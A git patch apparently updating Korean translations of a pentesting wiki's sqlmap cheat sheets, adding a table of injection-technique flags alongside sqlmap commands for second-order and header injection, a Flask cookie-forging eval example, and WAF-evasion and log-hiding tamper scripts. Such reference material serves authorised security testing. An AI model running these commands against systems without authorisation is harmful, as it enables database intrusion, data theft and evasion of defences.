From 9198d40a2894c437a085fd3f2771182b4681e647 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 06:29:19 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/sqlmap.md', 'src/pentestin --- src/pentesting-web/sql-injection/sqlmap.md | 118 ++++++++++-------- .../sql-injection/sqlmap/README.md | 49 +++++--- 2 files changed, 104 insertions(+), 63 deletions(-) diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md index 835c5a09c..c3bef194b 100644 --- a/src/pentesting-web/sql-injection/sqlmap.md +++ b/src/pentesting-web/sql-injection/sqlmap.md @@ -4,7 +4,7 @@ ## SQLmap을 위한 기본 인자 -### 일반적인 +### 일반 ```bash -u "" -p "" @@ -21,6 +21,23 @@ --auth-cred="" #HTTP authentication credentials (name:password) --proxy=PROXY ``` +### Technique flags (`--technique`) + +`--technique` 인자는 sqlmap이 시도할 SQL 인젝션 방법을 정의합니다. 문자열의 각 문자는 기술을 나타냅니다: + +| Letter | Technique | Description | +| ------ | --------- | ----------- | +| B | Boolean-based blind | true/false 조건을 사용하여 데이터를 추론합니다 | +| E | Error-based | 상세한 DBMS 오류 메시지를 활용하여 결과를 유출합니다 | +| U | UNION query | 동일한 채널을 통해 데이터를 가져오기 위해 `UNION SELECT` 문을 주입합니다 | +| S | Stacked queries | `;`로 구분된 추가 문을 추가합니다 | +| T | Time-based blind | 인젝션을 감지하기 위해 지연(`SLEEP`, `WAITFOR`)에 의존합니다 | +| Q | Inline / out-of-band | `LOAD_FILE()`와 같은 함수 또는 DNS와 같은 OOB 채널을 사용합니다 | + +기본 순서는 `BEUSTQ`입니다. 이를 재배열하거나 제한할 수 있습니다. 예를 들어, Boolean과 Time-based만 그 순서대로: +```bash +sqlmap -u "http://target/?id=1" --technique="BT" --batch +``` ### 정보 검색 #### 내부 @@ -71,7 +88,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` -### 2차 주입 +### 두 번째 차수 주입 ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs @@ -105,7 +122,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` -### 불리언 인젝션 찾기 +### Help finding boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch @@ -117,51 +134,54 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch ``` | Tamper | Description | | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | -| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 대체합니다. | -| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 대체합니다. | -| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. | -| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. | -| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. | -| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. | -| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). | -| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. | -| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. | -| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. | -| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). | -| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "%u0022" | -| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "\u0022" | -| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. | -| escapequotes.py | 따옴표(')와 큰따옴표(")를 슬래시로 이스케이프합니다. | -| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. | -| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. | -| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. | -| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. | -| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. | -| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. | -| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다 (예: .replace("SELECT", "") 필터). | -| percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. | -| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). | -| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. | -| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. | -| securesphere.py | 특별히 제작된 문자열을 추가합니다. | -| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. | -| space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. | -| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | -| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | -| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | -| space2mssqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. | -| space2mssqlhash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다. | -| space2mysqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. | -| space2mysqldash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다. | -| space2plus.py | 공백 문자(' ')를 더하기 기호('+')로 대체합니다. | -| space2randomblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. | -| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자로 대체합니다 (&& 및 | -| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. | -| unmagicquotes.py | 따옴표 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). | -| uppercase.py | 각 키워드 문자를 대문자 'INSERT'로 대체합니다. | -| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. | -| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | -| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | -| xforwardedfor.py | 가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다. | +| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 대체합니다. | +| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 대체합니다. | +| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. | +| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. | +| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. | +| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. | +| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). | +| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. | +| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. | +| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. | +| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). | +| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "%u0022" | +| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "\u0022" | +| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. | +| escapequotes.py | 따옴표(')와 큰따옴표(")를 슬래시로 이스케이프합니다. | +| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. | +| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. | +| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. | +| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. | +| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. | +| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. | +| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다 (예: .replace("SELECT", "") 필터). | +| percentage.py | 각 문자 앞에 퍼센트 기호('%')를 추가합니다. | +| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). | +| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. | +| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. | +| securesphere.py | 특별히 제작된 문자열을 추가합니다. | +| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. | +| space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. | +| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | +| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | +| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | +| space2mssqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. | +| space2mssqlhash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다. | +| space2mysqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. | +| space2mysqldash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다. | +| space2plus.py | 공백 문자(' ')를 더하기 기호('+')로 대체합니다. | +| space2randomblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. | +| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자로 대체합니다 (&& 및 | +| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. | +| unmagicquotes.py | 따옴표 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). | +| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. | +| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. | +| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | +| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | +| xforwardedfor.py | 가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다. | + +## References +- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md index d965c7bcb..cd8c5881d 100644 --- a/src/pentesting-web/sql-injection/sqlmap/README.md +++ b/src/pentesting-web/sql-injection/sqlmap/README.md @@ -2,6 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} + ## SQLmap을 위한 기본 인수 ### 일반 @@ -22,6 +23,23 @@ --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` +### Technique flags (`--technique`) + +`--technique` 옵션을 사용하면 sqlmap이 테스트할 SQL 인젝션 기술을 제한하거나 재정렬할 수 있습니다. 각 문자는 다른 페이로드 클래스에 해당합니다: + +| Letter | Technique | Description | +| ------ | --------- | ----------- | +| B | Boolean-based blind | 페이지 응답에서 true/false 조건을 사용하여 결과를 추론합니다. | +| E | Error-based | 자세한 DBMS 오류 메시지를 활용하여 데이터를 추출합니다. | +| U | UNION query | 동일한 채널을 통해 데이터를 가져오기 위해 `UNION SELECT` 문을 주입합니다. | +| S | Stacked queries | SQL 구분자(`;`)로 구분된 추가 문을 추가합니다. | +| T | Time-based blind | 주입 가능한 조건을 감지하기 위해 `SLEEP/WAITFOR` 지연에 의존합니다. | +| Q | Inline / out-of-band | `LOAD_FILE()` 또는 DNS 유출과 같은 함수를 사용하여 데이터를 추출합니다. | + +sqlmap이 따를 기본 순서는 `BEUSTQ` (모든 기술)입니다. 순서와 하위 집합을 모두 변경할 수 있습니다. 예를 들어, 다음 명령은 **오직** UNION 쿼리와 Time-based blind 기술을 시도하며, UNION을 먼저 시도합니다: +```bash +sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch +``` ### 정보 검색 #### 내부 @@ -81,11 +99,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" ``` ### 탐지 기술 추가 -SQLi를 발견했지만 sqlmap이 이를 감지하지 못한 경우, `--prefix` 또는 `--suffix`와 같은 인수를 사용하여 탐지 기술을 강제로 적용할 수 있습니다. 더 복잡한 경우에는 `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`에 sqlmap이 사용하는 페이로드에 추가할 수 있습니다. 예를 들어, 시간 블라인드 기반입니다. +SQLi를 발견했지만 sqlmap이 이를 감지하지 못한 경우, `--prefix` 또는 `--suffix`와 같은 인수를 사용하여 탐지 기술을 강제로 적용할 수 있습니다. 더 복잡한 경우에는 `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`와 같은 sqlmap에서 사용하는 페이로드에 추가할 수 있습니다. ### Eval -**Sqlmap**은 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 처리할 수 있습니다. 이는 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있게 해줍니다. 다음 예제에서 **flask 쿠키 세션** **은 전송하기 전에 알려진 비밀로 flask에 의해 서명됩니다**: +**Sqlmap**은 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 처리할 수 있도록 합니다. 이를 통해 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있습니다. 다음 예제에서 **flask cookie session** **은 전송되기 전에 알려진 비밀로 flask에 의해 서명됩니다**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` @@ -129,7 +147,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` -### Help finding boolean injection +### boolean injection 찾기 도움 ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch @@ -148,8 +166,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. | | base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. | | between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. | -| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. | -| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). | +| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. | +| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). | | commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. | | commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. | | concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. | @@ -157,20 +175,20 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" | | charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" | | equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. | -| escapequotes.py | 따옴표(' 및 ")를 슬래시로 이스케이프합니다. | +| escapequotes.py | 따옴표(' 및 ")를 슬래시로 이스케이프합니다. | | greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. | -| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. | +| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. | | ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. | -| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. | -| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. | -| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. | +| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. | +| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. | +| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. | | nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). | | percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. | | overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음). | -| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. | +| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. | | randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. | | securesphere.py | 특별히 제작된 문자열을 추가합니다. | -| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. | +| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. | | space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. | | space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | | space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | @@ -186,9 +204,12 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | unmagicquotes.py | 따옴표 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해). | | uppercase.py | 각 키워드 문자를 대문자 'INSERT'로 대체합니다. | | varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. | -| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | -| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | +| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | +| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | | xforwardedfor.py | 가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다. | +## References +- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) + {{#include ../../../banners/hacktricks-training.md}}